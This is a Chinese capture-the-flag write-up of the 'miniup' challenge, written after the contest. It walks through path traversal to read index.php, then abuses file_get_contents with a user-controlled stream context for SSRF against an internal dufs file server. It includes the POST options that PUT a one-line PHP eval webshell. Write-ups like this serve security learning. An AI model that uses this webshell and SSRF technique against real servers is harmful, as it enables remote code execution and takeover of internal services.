SSRF(mini-L之miniup)
前言
SSRF的题目做的比较少,拿到源码的时候感觉到是要打SSRF,但是无从下手,所以比赛的时候没做出来,本文为赛后复现
任意文件读取

打开环境,发现有三个功能 上传图片,搜索图片,查看图片
上传发现确实只能上传图片,绕不过去,打不了文件上传
上传图片之后搜索文件名可以看到我们上传的图片的一些信息,但是这些信息没啥用,但搜索之后可以直接查看,发现是把我们上传的文件的内容base64编码之后通过img标签回显到页面上的,这种展示方式貌似挺常见,好几次比赛都遇到了
观察到查看图片的时候,可以输入路径来查看,试一下目录穿越

发现确实是可以穿越的,但是不知道flag的名字,没什么好办法
浏览器插件发现有php语言,试着读了一下index.php

读到了源码,接下来就是源码审计,比赛的时候也只打到了这一步
源码分析
看到源码中有一个叫dufs的东西,搜了一下发现是个文件服务器
github仓库里查看README可以看到相关的一些api
同时关注到查看图片功能里有这样一段代码
$file_content = @file_get_contents($filename, false, @stream_context_create($_POST['options']));
致命的file_get_content
这里有一个之前没了解过的点
file_get_content函数在获取文件内容时,如果时远程文件,它会尝试通过HTTP或者其他协议去获取文件,同时stream_context_create函数创建了一个流上下文,这个上下文的选项来自$_POST['options']。这允许你自定义 HTTP 请求头、超时设置等。
既然这样,我们试一下读取dufs的相关服务信息

发现确实可以读到
那就相当于我们可以通过这个口子去控制dufs服务器了
分析上传图片的代码
$target_url = 'http://' . $dufs_host . ':' . $dufs_port . '/' . rawurlencode($filename);
$file_content = file_get_contents($file['tmp_name']);
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
curl_setopt($ch, CURLOPT_POSTFIELDS, $file_content);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Host: ' . $dufs_host . ':' . $dufs_port,
'Origin: http://' . $dufs_host . ':' . $dufs_port,
'Referer: http://' . $dufs_host . ':' . $dufs_port . '/',
'Accept-Encoding: gzip, deflate',
'Accept: */*',
'Accept-Language: en,zh-CN;q=0.9,zh;q=0.8',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
'Content-Length: ' . strlen($file_content)
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
发现是通过PUT请求http://127.0.0.1/filename这个api
前面提到stream_context_create允许自定义请求头等信息
那么我们可以通过
options[http][method]=PUT
options[http][content]=<?php eval($_POST[a]);?>
来指定请求方式和要上传的内容,在这里上传文件就可以绕过文件上传的检测

可以看到,返回包显示文件上传成功了
随后执行env就可以看到flag
总结
这里本来是一个正常的查看图片功能,但是由于file_get_content函数可以远程获取文件,而这里又没有任何防护,导致可以直接SSRF请求内网的接口,直接接管了dufs,从而执行文件上传

浙公网安备 33010602011771号